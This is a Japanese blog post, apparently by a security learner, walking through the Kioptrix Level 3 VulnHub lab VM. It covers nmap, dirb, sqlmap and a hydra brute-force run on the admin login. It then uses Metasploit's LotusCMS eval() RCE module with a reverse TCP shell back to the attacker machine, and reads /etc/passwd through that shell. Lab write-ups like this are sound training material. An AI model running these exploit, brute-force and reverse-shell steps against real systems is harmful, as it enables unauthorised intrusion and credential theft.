White Hat への道 - Kioptrix Level 3 VulnHub

White Hat Hackerになるまでの道のりを記しておく。

実際になったわけではなく、なるために勉強をすすめる際のメモを残しておこうと思う。

VulnHubというサイトにはチャレンジ用のVMがたくさんアップロードされている。今回はその中でも有名なKioptrixさんのシリーズもの第三弾(Level3）。
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

自分のたどり着いた答えまでの道のりをメモしておこうと思う。

はじめに断っておくが、noobなので無意味で意味不明な行動やオプション指定などがあるかもしれない。気づいた人はぜひ指摘いただきたい。

# ターゲットホストを探す

今回もDHCPがONになっているVMとのことで、nmapでターゲットを探す。

```console
kali@kali:~$ sudo nmap -Pn -T4 10.10.10.0/24 -p80
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:52 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.1
Host is up (0.00047s latency).

PORT   STATE    SERVICE
80/tcp filtered http
MAC Address: 08:00:27:C8:ED:71 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.10.10.5
Host is up (0.00070s latency).

PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.10.10.2
Host is up (0.000057s latency).

PORT   STATE  SERVICE
80/tcp closed http

Nmap done: 256 IP addresses (3 hosts up) scanned in 2.20 seconds
kali@kali:~$ 
```

10.10.10.2はアタックする自分のマシンなので、今回のターゲットのIPアドレスは「10.10.10.5」。

# Prep

今回のチャレンジはこれまでと違い、始める前にhostsファイルのvmを追記しろと書いてある。
なので、事前準備。これがヒントになるかも？

```console
kali@kali:~$ sudo vi /etc/hosts
kali@kali:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali.kkas.com   kali
10.10.10.5      kioptrix3.com

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
kali@kali:~$ 
```

説明を読み返してみる。

>There’s a web application involved, so to have everything nice and properly displayed you really need to this.

port80が怪しそうな予感。

# ターゲットの情報を集める

nmapでターゲットの情報を集める。

```console
kali@kali:~$ sudo nmap -A -T4 10.10.10.5 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 22:02 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for kioptrix3.com (10.10.10.5)
Host is up (0.00094s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 08:00:27:E7:2B:CC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.94 ms kioptrix3.com (10.10.10.5)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds
kali@kali:~$ 
```

注目した情報は以下。　ここらから脆弱性を調べていく。事前情報でweb appが絡んでいるとのことなので、80にブラウザアクセスから始めて見る。

```
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
```

```
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
```

```
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
```

# 探索開始

ブラウザでアクセスしてみる。

```bash
kali@kali:~$ firefox 10.10.10.5
```

![スクリーンショット 2020-09-10 22.17.56.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/c492b710-85ed-f9e7-784a-8b3b4848842e.jpeg)

なにか出てきた。　ほかも色々見てみる。

![スクリーンショット 2020-09-10 22.18.40.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/10973276-1efa-aa7e-2adb-0487141e1f16.jpeg)

![スクリーンショット 2020-09-10 22.20.26.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/41d745dc-6e79-7d01-0d69-6fd5c6133579.jpeg)

![スクリーンショット 2020-09-10 22.20.32.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/fe127805-a3e6-837e-24a0-64b91659a24e.jpeg)

おぉ。いかにも何かありそうな画面が出てきた。お決まりのSQL Injectionを試してみる。

![スクリーンショット 2020-09-10 22.21.17.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/99522a58-8afd-af2a-26e4-85ee014df747.jpeg)

![スクリーンショット 2020-09-10 22.21.25.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/0f6545bb-10c1-3e45-459a-e8046d580f4d.jpeg)

だめか。とりあえずソースコードも見ておく。

![スクリーンショット 2020-09-10 22.22.17.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/ab1162b3-0c80-91e2-9662-f45cd97e4260.jpeg)

特に気になる点はない。　現時点ではあまりこだわらずにほかも探してみる。
他のページもソースコードを見ていく。

![スクリーンショット 2020-09-10 22.26.41.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/2719778e-fe17-1d8b-519d-a2498009ed5a.jpeg)

気になる箇所を発見！　コメントアウトで「<a href="gadmin" ...」と書いてある。「admin」という言葉も気になる！　アクセスしてみる。

![スクリーンショット 2020-09-10 22.27.55.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/77d18390-2ccc-41ec-c4d7-63d4020ea1ed.jpeg)

でた！　ソースコードじゃなく、普通に表示してみる。

![スクリーンショット 2020-09-10 22.28.17.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/740f692d-5618-7b24-7589-3e5b4cdbf463.jpeg)

ものすごく怪しい！　usernameに「admin」と書いてあるし、そもそもコメントアウトで消し忘れたような感じがさきほど見たログインページよりもさらに怪しい！！　適当に何も追加入力せず、ログインボタンを押してみる。

![スクリーンショット 2020-09-10 22.48.06.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/8e743613-bec4-a369-186b-83db77155cbb.jpeg)

だめか。パスワード「admin」で試す。
そりゃそうですよね。

SQL Injectionを試す。

![スクリーンショット 2020-09-10 22.49.06.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/d9fb9138-e21a-db45-1df0-601731923e67.jpeg)

だめか。だが、Brute-forceを使ったパスワードクラッキングはしたくない。なぜなら、正解につながるヒントを仕込んでくれているはずと思うから。

しばらく調査するも進展なし。

別のアプローチがないかを考えることにし、もう一度最初に見つけたログインページを見ていくと
「Powered by LotusCMS」と書いてあることに気づく。

![スクリーンショット 2020-09-12 5.05.22.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/54eef885-424f-81ac-1e54-3e0ab21b4792.jpeg)

さっそくGoogle先生に「LotusCMS」と聞いてみるといきなりexploitsやらVulnerabilityの文字が並んでいるｗ　そんなにダメダメなCMSなのか？？との疑問が湧くが、ここは一旦抑えて使えそうなexploitsを探すことにする。

以下のページを発見。exploitsを試してみる。
https://www.rapid7.com/db/modules/exploit/multi/http/lcms_php_exec

「msf」と書いてあるし、Metasploit FrameworkのExampleぽい。

```console
> Executing “sudo msfdb init && msfconsole”
[sudo] kali のパスワード:
[i] Database already started
[i] The database appears to be already configured, skipping initialization
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v5.0.99-dev                          ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View advanced module options with advanced

msf5 > use exploit/multi/http/lcms_php_exec 
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /lcms/           yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > 
```

RHOSTSの指定が必要なので、ターゲットの「10.10.10.5」をセットする。

```console
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf5 exploit(multi/http/lcms_php_exec) > 
```

Exampleの手順を見ると、「show targets」と書いているので何も考えずに実行する。

```console
msf5 exploit(multi/http/lcms_php_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > set target 0
target => 0
msf5 exploit(multi/http/lcms_php_exec) >
```

もう一度、オプションを見てみる。

```console
msf5 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.5       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /lcms/           yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > 
```

何か変わったのか？　多分、targetがもともと１種類なので変化無しなのかな？？
まあいいや。　とにかく実行してみる。

Go!!!

```console
msf5 exploit(multi/http/lcms_php_exec) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > 
```

残念。。。　見事に失敗しました。　LotusCMSのバージョンが3.0ではないのかもね。

気を取り直して次の手を考える。

```console
msf5 exploit(multi/http/lcms_php_exec) > search lotuscms

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command Execution


msf5 exploit(multi/http/lcms_php_exec) > 
```

何か手がかりはないのか。。。

何も思いつかないので、基礎的な情報収集から始めることにする。

# さらなるアタックへ

OWASP に乗っているWeb Applicationのアタック方法を参考にすすめてみることにする。
https://owasp.org/www-community/attacks/

## Blind SQL Injection

Blind SQL Injection とは

>Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

https://owasp.org/www-community/attacks/Blind_SQL_Injection

これが使えそうな「?id=」のGETリクエストを探してみると、下記を発見。

![スクリーンショット 2020-09-12 9.24.52.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/8e9f1ee1-8760-cd5c-5819-6fb83c23c180.jpeg)

早速試してみる。

```
http://kioptrix3.com/gallery/vote.php?id=3+AND+1=1
```

![スクリーンショット 2020-09-12 9.49.49.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/d1035427-7059-bf83-17cd-b3bd4bbb9e1f.jpeg)


んー、何も表示されない。エラーも出ないので何が起こっているのかわからない。。。
そこで、Burpを使ってHTTP Request&Responseを見てみることにする。

![スクリーンショット 2020-09-12 10.03.31.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/3880620d-b2c4-110e-9ffb-eb6d45eb2661.jpeg)

だめなのか。。。　「history.go(-1)」によって戻されていることが確認できた。

dirbを使ってみる。

```console
kali@kali:~$ dirb http://kioptrix3.com -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep 12 10:55:32 2020
URL_BASE: http://kioptrix3.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://kioptrix3.com/ ----
+ http://kioptrix3.com/index.php (CODE:200|SIZE:1819)                                                                                                    
+ http://kioptrix3.com/update.php (CODE:200|SIZE:18)                                                                                                     
                                                                                                                                                         
-----------------
END_TIME: Sat Sep 12 10:55:37 2020
DOWNLOADED: 4612 - FOUND: 2
kali@kali:~$ 
```

新しいのは「update.php」。アクセスしてみたが以下のような画面が表示されるだけで何もわからない。　ソースコードもテキストのみ。


![スクリーンショット 2020-09-12 10.56.48.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/82669/f5943b56-ef3e-e3dc-d2eb-bea49edfdb3c.jpeg)

LotusCMSの方を探索してみる。

```console
kali@kali:~$ dirb http://kioptrix3.com/gallery/gadmin/ -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Sep 12 10:58:05 2020
URL_BASE: http://kioptrix3.com/gallery/gadmin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://kioptrix3.com/gallery/gadmin/ ----
+ http://kioptrix3.com/gallery/gadmin/footer.php (CODE:200|SIZE:426)                                                                                     
+ http://kioptrix3.com/gallery/gadmin/functions.php (CODE:200|SIZE:0)                                                                                    
+ http://kioptrix3.com/gallery/gadmin/gallery.php (CODE:200|SIZE:1546)                                                                                   
+ http://kioptrix3.com/gallery/gadmin/header.php (CODE:200|SIZE:1546)                                                                                    
+ http://kioptrix3.com/gallery/gadmin/index.php (CODE:200|SIZE:1546)                                                                                     
+ http://kioptrix3.com/gallery/gadmin/menu.php (CODE:200|SIZE:0)                                                                                         
+ http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)                                                                                      
+ http://kioptrix3.com/gallery/gadmin/photos.php (CODE:200|SIZE:1546)                                                                                    
+ http://kioptrix3.com/gallery/gadmin/presentation.php (CODE:200|SIZE:1546)                                                                              
+ http://kioptrix3.com/gallery/gadmin/settings.php (CODE:200|SIZE:1546)                                                                                  
+ http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0)                                                                                       
+ http://kioptrix3.com/gallery/gadmin/signout.php (CODE:200|SIZE:57)                                                                                     
+ http://kioptrix3.com/gallery/gadmin/users.php (CODE:200|SIZE:1546)                                                                                     
                                                                                                                                                         
-----------------
END_TIME: Sat Sep 12 10:58:11 2020
DOWNLOADED: 4612 - FOUND: 13
kali@kali:~$ 
```

ヒットしたURLに一通りアクセスしてみたところ、気になったのは以下のURLだった。
中にはadminのログイン画面が表示されるものがいくつかあった。

気になった一番の理由はURLのパス名。特にmysqlを使っていると思われることが新たな収穫。

```
http://kioptrix3.com/gallery/gadmin/mysql.php (CODE:200|SIZE:111)  
http://kioptrix3.com/gallery/gadmin/signin.php (CODE:200|SIZE:0) 
```

さきほど見ていた「Blind SQL Injection」のページにSQLMapというツールの記載があった。
これを使ってみる。
https://owasp.org/www-community/attacks/Blind_SQL_Injection


```console
kali@kali:~$ sqlmap -u http://kioptrix3.com/gallery/gadmin/index.php --data="username=admin&password=a"
        ___
       __H__                                                                                                                                              
 ___ ___[(]_____ ___ ___  {1.4.7#stable}                                                                                                                  
|_ -| . [)]     | .'| . |                                                                                                                                 
|___|_  [']_|_|_|__,|  _|                                                                                                                                 
      |_|V...       |_|   http://sqlmap.org                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:45:35 /2020-09-12/

[14:45:35] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=30120328d36...64caac528c'). Do you want to use those [Y/n] y
[14:45:44] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:45:44] [INFO] testing if the target URL content is stable
[14:45:44] [INFO] target URL content is stable
[14:45:44] [INFO] testing if POST parameter 'username' is dynamic
[14:45:44] [WARNING] POST parameter 'username' does not appear to be dynamic
[14:45:44] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[14:45:45] [INFO] testing for SQL injection on POST parameter 'username'
[14:45:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:45:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:45:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:45:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:45:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:45:46] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:45:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:45:47] [INFO] testing 'Generic inline queries'
[14:45:47] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:45:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:45:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:45:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:45:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:45:48] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:45:49] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[14:46:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:07] [WARNING] POST parameter 'username' does not seem to be injectable
[14:46:07] [INFO] testing if POST parameter 'password' is dynamic
[14:46:07] [WARNING] POST parameter 'password' does not appear to be dynamic
[14:46:07] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable
[14:46:07] [INFO] testing for SQL injection on POST parameter 'password'
[14:46:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:46:07] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:46:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:46:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:46:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:46:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:46:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:46:09] [INFO] testing 'Generic inline queries'
[14:46:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:46:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:46:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:46:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:46:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:46:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:46:11] [INFO] testing 'Oracle AND time-based blind'
[14:46:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:46:15] [WARNING] POST parameter 'password' does not seem to be injectable
[14:46:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'                                                                                                           

[*] ending @ 14:46:15 /2020-09-12/

kali@kali:~$ 
```

## Brute-force

だめだ。こうなったらヤケクソだ！

Brute-forceでアタックしてやる！！

```console
kali@kali:~$ hydra -l admin -P /usr/share/wordlists/metasploit/password.lst 10.10.10.5 http-post-form "/gallery/gadmin/index.php?task=signin:username=^USER^&password=^PASS:login details were incorrect." -V
```

10時間後。。。

```console
[ATTEMPT] target 10.10.10.5 - login "admin" - pass "vagrant" - 88397 of 88397 [child 15] (0/0)
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-13 10:38:53
```

チーン。　こんなに待ったのに失敗か。。。

あぁ、完全に行き詰まった。　心も少し折れそうになってきた。。

# 初心に帰る

フォートナイトで気晴らしをしたあと、もう一度最初から見直しをしてみることにした。

ヒントはいろいろ揃っている。

ツールの使い方はあっているか、他に試せる脆弱性はないか。

もう一度探してみることにした。

最初に見つけたのはLotusCMSを使用していること。

```console
kali@kali:~$ searchsploit lotusCMS
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)                                                           | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities                                                                               | php/webapps/16982.txt
-----------------
```

```console
msf5 exploit(multi/http/php_cgi_arg_injection) > search lotusCMS

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command Execution


msf5 exploit(multi/http/php_cgi_arg_injection) > use 0
[*] Using configured payload php/meterpreter/reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.5       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /lcms/           yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > set uri /
uri => /
msf5 exploit(multi/http/lcms_php_exec) > exploit

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > 
```

```console
msf5 exploit(multi/http/lcms_php_exec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf5 exploit(multi/http/lcms_php_exec) > exploit

[*] Started reverse TCP handler on 10.10.10.2:9999 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/lcms_php_exec) > 
```

だめ。　このメッセージが少し気になる。
「Exploit completed, but no session was created.」

## Payload を変えてみる

```console
msf5 exploit(multi/http/lcms_php_exec) > set payload generic/shell_reverse_tcp 
payload => generic/shell_reverse_tcp
msf5 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.5       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /                yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.10.2       yes       The listen address (an interface may be specified)
   LPORT  7777             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/http/lcms_php_exec) > show options

Module options (exploit/multi/http/lcms_php_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.10.10.5       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /                yes       URI
   VHOST                     no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.10.2       yes       The listen address (an interface may be specified)
   LPORT  8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic LotusCMS 3.0


msf5 exploit(multi/http/lcms_php_exec) > exploit 

[*] Started reverse TCP handler on 10.10.10.2:8888 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (10.10.10.2:8888 -> 10.10.10.5:36469) at 2020-09-21 14:28:50 +0900


```

セッションがつながった！

```console
whoami
www-data
ifconfig
sudo ifconfig
^C
Abort session 1? [y/N]  y

[*] 10.10.10.5 - Command shell session 1 closed.  Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) > 
msf5 exploit(multi/http/lcms_php_exec) > 
msf5 exploit(multi/http/lcms_php_exec) > exploit 

[*] Started reverse TCP handler on 10.10.10.2:8888 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 2 opened (10.10.10.2:8888 -> 10.10.10.5:36470) at 2020-09-21 14:29:15 +0900

pwd
/home/www/kioptrix3.com
exit
^C
Abort session 2? [y/N]  y

[*] 10.10.10.5 - Command shell session 2 closed.  Reason: User exit
msf5 exploit(multi/http/lcms_php_exec) > 
```

よし、色々できそうな気がするので一気にいくぞー！
いろいろ試して情報を集める。

# 潜入捜査

```console
msf5 exploit(multi/http/lcms_php_exec) > exploit 

[*] Started reverse TCP handler on 10.10.10.2:8888 
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 3 opened (10.10.10.2:8888 -> 10.10.10.5:45403) at 2020-09-21 14:41:31 +0900

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbash

